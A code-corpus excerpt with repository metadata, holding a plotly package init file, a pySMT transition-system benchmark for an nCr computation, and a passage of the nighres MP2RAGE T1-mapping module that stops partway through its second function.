d3856d4aaf3efca282aa343ebf16e9e995e4d5b9

86

py

Python

dist/plotly-0.5.9/plotly/__init__.py

awesome-archive/plotly.py

0af4ef6abd0fe9907268d266304de630f94cda60

[ "MIT" ]

null

dist/plotly-0.5.9/plotly/__init__.py

awesome-archive/plotly.py

0af4ef6abd0fe9907268d266304de630f94cda60

[ "MIT" ]

null

dist/plotly-0.5.9/plotly/__init__.py

awesome-archive/plotly.py

0af4ef6abd0fe9907268d266304de630f94cda60

[ "MIT" ]

null

from .version import __version__ from .plotly import signup from .plotly import plotly

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6cb98e6db6f46edd7e5af32fb0325ec180a68383

20,612

py

Python

benchmarks/nonlinear_software/f3/nCr_combination.py

EnricoMagnago/F3

c863215c318d7d5f258eb9be38c6962cf6863b52

[ "MIT" ]

3

2021-04-23T23:29:26.000Z

2022-03-23T10:00:30.000Z

benchmarks/nonlinear_software/f3/nCr_combination.py

EnricoMagnago/F3

c863215c318d7d5f258eb9be38c6962cf6863b52

[ "MIT" ]

null

benchmarks/nonlinear_software/f3/nCr_combination.py

EnricoMagnago/F3

c863215c318d7d5f258eb9be38c6962cf6863b52

[ "MIT" ]

1

2021-11-17T22:02:56.000Z

import pysmt.typing as types from pysmt.environment import Environment as PysmtEnv from pysmt.fnode import FNode from utils import symb_to_next def transition_system(env: PysmtEnv) -> (frozenset, FNode, FNode, FNode): assert isinstance(env, PysmtEnv) mgr = env.formula_manager den = mgr.Symbol("den", types.INT) dmul = mgr.Symbol("dmul", types.INT) nCr = mgr.Symbol("nCr", types.INT) n_num = mgr.Symbol("n_num", types.INT) nmul = mgr.Symbol("nmul", types.INT) num = mgr.Symbol("num", types.INT) pc = mgr.Symbol("pc", types.INT) r_num = mgr.Symbol("r_num", types.INT) x_den = symb_to_next(mgr, den) x_dmul = symb_to_next(mgr, dmul) x_nCr = symb_to_next(mgr, nCr) x_n_num = symb_to_next(mgr, n_num) x_nmul = symb_to_next(mgr, nmul) x_num = symb_to_next(mgr, num) x_pc = symb_to_next(mgr, pc) x_r_num = symb_to_next(mgr, r_num) symbols = frozenset([den, dmul, nCr, n_num, nmul, num, pc, r_num]) n_locs = 25 int_bound = n_locs pcs = [] x_pcs = [] ints = [mgr.Int(i) for i in range(int_bound)] for l in range(n_locs): n = ints[l] pcs.append(mgr.Equals(pc, n)) x_pcs.append(mgr.Equals(x_pc, n)) m_1 = mgr.Int(-1) pcend = mgr.Equals(pc, m_1) x_pcend = mgr.Equals(x_pc, m_1) # initial location. init = pcs[0] # control flow graph. cfg = mgr.And( # pc = -1 : -1, mgr.Implies(pcend, x_pcend), # pc = 0 & !(n_num >= 1) : -1, mgr.Implies(mgr.And(pcs[0], mgr.Not(mgr.GE(n_num, ints[1]))), x_pcend), # pc = 0 & n_num >= 1 : 1, mgr.Implies(mgr.And(pcs[0], mgr.GE(n_num, ints[1])), x_pcs[1]), # pc = 1 : 2, mgr.Implies(pcs[1], x_pcs[2]), # pc = 2 : 3, mgr.Implies(pcs[2], x_pcs[3]), # pc = 3 : 4, mgr.Implies(pcs[3], x_pcs[4]), # pc = 4 : 5, mgr.Implies(pcs[4], x_pcs[5]), # pc = 5 : 6, mgr.Implies(pcs[5], x_pcs[6]), # pc = 6 & n_num >= r_num : 7, mgr.Implies(mgr.And(pcs[6], mgr.GE(n_num, r_num)), x_pcs[7]), # pc = 6 & !(n_num >= r_num) : 24, mgr.Implies(mgr.And(pcs[6], mgr.Not(mgr.GE(n_num, r_num))), x_pcs[24]), # pc = 7 : {8, 11}, mgr.Implies(pcs[7], mgr.Or(x_pcs[8], x_pcs[11])), # pc = 8 & !(num < 1) : -1, mgr.Implies(mgr.And(pcs[8], mgr.Not(mgr.LT(num, ints[1]))), x_pcend), # pc = 8 & num < 1 : 9, mgr.Implies(mgr.And(pcs[8], mgr.LT(num, ints[1])), x_pcs[9]), # pc = 9 : 10, mgr.Implies(pcs[9], x_pcs[10]), # pc = 10 : -1, mgr.Implies(pcs[10], x_pcend), # pc = 11 & !(nCr >= 1) : 20, mgr.Implies(mgr.And(pcs[11], mgr.Not(mgr.GE(nCr, ints[1]))), x_pcs[20]), # pc = 11 & nCr >= 1 : 12, mgr.Implies(mgr.And(pcs[11], mgr.GE(nCr, ints[1])), x_pcs[12]), # pc = 12 : {13, 16}, mgr.Implies(pcs[12], mgr.Or(x_pcs[13], x_pcs[16])), # pc = 13 & !(num < 1) : -1, mgr.Implies(mgr.And(pcs[13], mgr.Not(mgr.LT(num, ints[1]))), x_pcend), # pc = 13 & num < 1 : 14, mgr.Implies(mgr.And(pcs[13], mgr.LT(num, ints[1])), x_pcs[14]), # pc = 14 : 15, mgr.Implies(pcs[14], x_pcs[15]), # pc = 15 : -1, mgr.Implies(pcs[15], x_pcend), # pc = 16 : 17, mgr.Implies(pcs[16], x_pcs[17]), # pc = 17 : 18, mgr.Implies(pcs[17], x_pcs[18]), # pc = 18 : 19, mgr.Implies(pcs[18], x_pcs[19]), # pc = 19 : 11, mgr.Implies(pcs[19], x_pcs[11]), # pc = 20 : {-1, 21}, mgr.Implies(pcs[20], mgr.Or(x_pcend, x_pcs[21])), # pc = 21 & !(num < 1) : -1, mgr.Implies(mgr.And(pcs[21], mgr.Not(mgr.LT(num, ints[1]))), x_pcend), # pc = 21 & num < 1 : 22, mgr.Implies(mgr.And(pcs[21], mgr.LT(num, ints[1])), x_pcs[22]), # pc = 22 : 23, mgr.Implies(pcs[22], x_pcs[23]), # pc = 23 : -1, mgr.Implies(pcs[23], x_pcend), # pc = 24 : -1, mgr.Implies(pcs[24], x_pcend)) # transition labels. labels = mgr.And( # (pc = -1 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcend, x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 0 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[0], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 0 & pc' = 1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[0], x_pcs[1]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 1 & pc' = 2) -> (n_num' = n_num & num' = 1 & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[1], x_pcs[2]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, ints[1]), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 2 & pc' = 3) -> (n_num' = n_num & num' = num & den' = 1 & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[2], x_pcs[3]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, ints[1]), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 3 & pc' = 4) -> (n_num' = n_num & num' = num & den' = den & nmul' = n_num & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[3], x_pcs[4]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, n_num), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 4 & pc' = 5) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = r_num & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[4], x_pcs[5]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, r_num), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 5 & pc' = 6) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = 1), mgr.Implies( mgr.And(pcs[5], x_pcs[6]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, ints[1]))), # (pc = 6 & pc' = 7) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[6], x_pcs[7]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 6 & pc' = 24) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[6], x_pcs[24]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 7 & pc' = 8) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[7], x_pcs[8]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 7 & pc' = 11) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[7], x_pcs[11]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 8 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[8], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 8 & pc' = 9) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[8], x_pcs[9]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 9 & pc' = 10) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = num/den), mgr.Implies( mgr.And(pcs[9], x_pcs[10]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, mgr.Div(num, den)))), # (pc = 10 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[10], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 11 & pc' = 20) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[11], x_pcs[20]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 11 & pc' = 12) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[11], x_pcs[12]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 12 & pc' = 13) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[12], x_pcs[13]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 12 & pc' = 16) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[12], x_pcs[16]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 13 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[13], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 13 & pc' = 14) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[13], x_pcs[14]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 14 & pc' = 15) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = num/den), mgr.Implies( mgr.And(pcs[14], x_pcs[15]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, mgr.Div(num, den)))), # (pc = 15 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[15], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 16 & pc' = 17) -> (n_num' = n_num & num' = num*nmul & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[16], x_pcs[17]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, mgr.Times(num, nmul)), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 17 & pc' = 18) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul-1 & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[17], x_pcs[18]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, mgr.Minus(nmul, ints[1])), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 18 & pc' = 19) -> (n_num' = n_num & num' = num & den' = den*dmul & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[18], x_pcs[19]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, mgr.Times(den, dmul)), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 19 & pc' = 11) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul-1 & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[19], x_pcs[11]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, mgr.Minus(dmul, ints[1])), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 20 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[20], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 20 & pc' = 21) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[20], x_pcs[21]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 21 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[21], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 21 & pc' = 22) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[21], x_pcs[22]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 22 & pc' = 23) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = num/den), mgr.Implies( mgr.And(pcs[22], x_pcs[23]), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, mgr.Div(num, den)))), # (pc = 23 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[23], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr))), # (pc = 24 & pc' = -1) -> (n_num' = n_num & num' = num & den' = den & nmul' = nmul & dmul' = dmul & r_num' = r_num & nCr' = nCr), mgr.Implies( mgr.And(pcs[24], x_pcend), mgr.And(mgr.Equals(x_n_num, n_num), mgr.Equals(x_num, num), mgr.Equals(x_den, den), mgr.Equals(x_nmul, nmul), mgr.Equals(x_dmul, dmul), mgr.Equals(x_r_num, r_num), mgr.Equals(x_nCr, nCr)))) # transition relation. trans = mgr.And(cfg, labels) # fairness. fairness = mgr.Not(pcend) return symbols, init, trans, fairness

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0.142812

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0.76334

0.750157

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0.323355

20,612

370

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55.708108

0.654549

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false

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9f105b4a1ec32e59598baa93a57604c97793398c

13,689

py

Python

nighres/intensity/mp2rage_t1_mapping.py

ahleighton/nighres

bc01463241a03a88569b3ba56e195127788b5639

[ "Apache-2.0" ]

41

2017-08-15T12:23:31.000Z

2022-02-28T15:12:22.000Z

nighres/intensity/mp2rage_t1_mapping.py

ahleighton/nighres

bc01463241a03a88569b3ba56e195127788b5639

[ "Apache-2.0" ]

130

2017-07-27T11:09:09.000Z

2022-03-31T10:05:07.000Z

nighres/intensity/mp2rage_t1_mapping.py

ahleighton/nighres

bc01463241a03a88569b3ba56e195127788b5639

[ "Apache-2.0" ]

35

2017-08-17T17:05:41.000Z

2022-03-28T12:22:14.000Z

import numpy as np import nibabel as nb import os import sys import nighresjava from ..io import load_volume, save_volume from ..utils import _output_dir_4saving, _fname_4saving, \ _check_topology_lut_dir, _check_available_memory def mp2rage_t1_mapping(first_inversion, second_inversion, inversion_times, flip_angles, inversion_TR, excitation_TR, N_excitations, efficiency=0.96, correct_B1=False, B1_map=None, scale_phase=True, save_data=False, overwrite=False, output_dir=None, file_name=None): """ MP2RAGE T1 mapping Estimate T1/R1 by a look-up table method adapted from [1]_ Parameters ---------- first_inversion: [niimg] List of {magnitude, phase} images for the first inversion second_inversion: [niimg] List of {magnitude, phase} images for the second inversion inversion_times: [float] List of {first, second} inversion times, in seconds flip_angles: [float] List of {first, second} flip angles, in degrees inversion_TR: float Inversion repetition time, in seconds excitation_TR: [float] List of {first,second} repetition times,in seconds N_excitations: int Number of excitations efficiency: float Inversion efficiency (default is 0.96) correct_B1: bool Whether to correct for B1 inhomogeneities (default is False) B1_map: niimg Computed B1 map scale_phase: bool Whether to rescale the phase image in [0,2PI] or to assume it is already in radians save_data: bool Save output data to file (default is False) overwrite: bool Overwrite existing results (default is False) output_dir: str, optional Path to desired output directory, will be created if it doesn't exist file_name: str, optional Desired base name for output files with file extension (suffixes will be added) Returns ---------- dict Dictionary collecting outputs under the following keys (suffix of output files in brackets) * t1 (niimg): Map of estimated T1 times (_qt1map-t1) * r1 (niimg): Map of estimated R1 relaxation rate (_qt1map-r1) * uni (niimg): Estimated PD weighted image at TE=0 (_qt1map-uni) Notes ---------- Original Java module by Pierre-Louis Bazin. References ---------- .. [1] Marques, Kober, Krueger, van der Zwaag, Van de Moortele, Gruetter (2010) MP2RAGE, a self bias-field corrected sequence for improved segmentation and T1-mapping at high field. doi: 10.1016/j.neuroimage.2009.10.002. """ print('\nT1 Mapping') # make sure that saving related parameters are correct if save_data: output_dir = _output_dir_4saving(output_dir, first_inversion[0]) t1_file = os.path.join(output_dir, _fname_4saving(module=__name__,file_name=file_name, rootfile=first_inversion[0], suffix='qt1map-t1')) r1_file = os.path.join(output_dir, _fname_4saving(module=__name__,file_name=file_name, rootfile=first_inversion[0], suffix='qt1map-r1')) uni_file = os.path.join(output_dir, _fname_4saving(module=__name__,file_name=file_name, rootfile=first_inversion[0], suffix='qt1map-uni')) if overwrite is False \ and os.path.isfile(t1_file) \ and os.path.isfile(r1_file) \ and os.path.isfile(uni_file) : output = {'t1': t1_file, 'r1': r1_file, 'uni': uni_file} return output # start virtual machine, if not already running try: mem = _check_available_memory() nighresjava.initVM(initialheap=mem['init'], maxheap=mem['max']) except ValueError: pass # create algorithm instance qt1map = nighresjava.IntensityMp2rageT1Fitting() # set algorithm parameters qt1map.setFirstInversionTime(inversion_times[0]) qt1map.setSecondInversionTime(inversion_times[1]) qt1map.setFirstFlipAngle(flip_angles[0]) qt1map.setSecondFlipAngle(flip_angles[1]) qt1map.setInversionRepetitionTime(inversion_TR) qt1map.setFirstExcitationRepetitionTime(excitation_TR[0]) qt1map.setSecondExcitationRepetitionTime(excitation_TR[1]) qt1map.setNumberExcitations(N_excitations) qt1map.setInversionEfficiency(efficiency) qt1map.setCorrectB1inhomogeneities(correct_B1) # load first image and use it to set dimensions and resolution img = load_volume(first_inversion[0]) data = img.get_data() #data = data[0:10,0:10,0:10] affine = img.affine header = img.header resolution = [x.item() for x in header.get_zooms()] dimensions = data.shape qt1map.setDimensions(dimensions[0], dimensions[1], dimensions[2]) qt1map.setResolutions(resolution[0], resolution[1], resolution[2]) # input images qt1map.setFirstInversionMagnitude(nighresjava.JArray('float')( (data.flatten('F')).astype(float))) data = load_volume(first_inversion[1]).get_data() qt1map.setFirstInversionPhase(nighresjava.JArray('float')( (data.flatten('F')).astype(float))) data = load_volume(second_inversion[0]).get_data() qt1map.setSecondInversionMagnitude(nighresjava.JArray('float')( (data.flatten('F')).astype(float))) data = load_volume(second_inversion[1]).get_data() qt1map.setSecondInversionPhase(nighresjava.JArray('float')( (data.flatten('F')).astype(float))) if (correct_B1): data = load_volume(B1_map).get_data() qt1map.setB1mapImage(nighresjava.JArray('float')( (data.flatten('F')).astype(float))) # execute the algorithm try: qt1map.execute() except: # if the Java module fails, reraise the error it throws print("\n The underlying Java code did not execute cleanly: ") print(sys.exc_info()[0]) raise return # reshape output to what nibabel likes t1_data = np.reshape(np.array(qt1map.getQuantitativeT1mapImage(), dtype=np.float32), dimensions, 'F') r1_data = np.reshape(np.array(qt1map.getQuantitativeR1mapImage(), dtype=np.float32), dimensions, 'F') uni_data = np.reshape(np.array(qt1map.getUniformT1weightedImage(), dtype=np.float32), dimensions, 'F') # adapt header max for each image so that correct max is displayed # and create nifiti objects header['cal_min'] = np.nanmin(t1_data) header['cal_max'] = np.nanmax(t1_data) t1 = nb.Nifti1Image(t1_data, affine, header) header['cal_min'] = np.nanmin(r1_data) header['cal_max'] = np.nanmax(r1_data) r1 = nb.Nifti1Image(r1_data, affine, header) header['cal_min'] = np.nanmin(uni_data) header['cal_max'] = np.nanmax(uni_data) uni = nb.Nifti1Image(uni_data, affine, header) if save_data: save_volume(t1_file, t1) save_volume(r1_file, r1) save_volume(uni_file, uni) return {'t1': t1_file, 'r1': r1_file, 'uni': uni_file} else: return {'t1': t1, 'r1': r1, 'uni': uni} def mp2rage_t1_from_uni(uniform_image, inversion_times, flip_angles, inversion_TR, excitation_TR, N_excitations, efficiency=0.96, correct_B1=False, B1_map=None, scale_phase=True, save_data=False, overwrite=False, output_dir=None, file_name=None): """ MP2RAGE uniform image to T1 mapping Estimate T1/R1 by a look-up table method adapted from [1]_ Parameters ---------- uniform_image: niimg Uniform image computed from first and second inversion inversion_times: [float] List of {first, second} inversion times, in seconds flip_angles: [float] List of {first, second} flip angles, in degrees inversion_TR: float Inversion repetition time, in seconds excitation_TR: [float] List of {first,second} repetition times,in seconds N_excitations: int Number of excitations efficiency: float Inversion efficiency (default is 0.96) correct_B1: bool Whether to correct for B1 inhomogeneities (default is False) B1_map: niimg Computed B1 map scale_phase: bool Whether to rescale the phase image in [0,2PI] or to assume it is already in radians save_data: bool Save output data to file (default is False) overwrite: bool Overwrite existing results (default is False) output_dir: str, optional Path to desired output directory, will be created if it doesn't exist file_name: str, optional Desired base name for output files with file extension (suffixes will be added) Returns ---------- dict Dictionary collecting outputs under the following keys (suffix of output files in brackets) * t1 (niimg): Map of estimated T1 times (_qt1map-t1) * r1 (niimg): Map of estimated R1 relaxation rate (_qt1map-r1) Notes ---------- Original Java module by Pierre-Louis Bazin. References ---------- .. [1] Marques, Kober, Krueger, van der Zwaag, Van de Moortele, Gruetter (2010) MP2RAGE, a self bias-field corrected sequence for improved segmentation and T1-mapping at high field. doi: 10.1016/j.neuroimage.2009.10.002. """ print('\nT1 Mapping') # make sure that saving related parameters are correct if save_data: output_dir = _output_dir_4saving(output_dir, uniform_image) t1_file = os.path.join(output_dir, _fname_4saving(module=__name__,file_name=file_name, rootfile=uniform_image, suffix='qt1map-t1')) r1_file = os.path.join(output_dir, _fname_4saving(module=__name__,file_name=file_name, rootfile=uniform_image, suffix='qt1map-r1')) if overwrite is False \ and os.path.isfile(t1_file) \ and os.path.isfile(r1_file) : output = {'t1': t1_file, 'r1': r1_file} return output # start virtual machine, if not already running try: mem = _check_available_memory() nighresjava.initVM(initialheap=mem['init'], 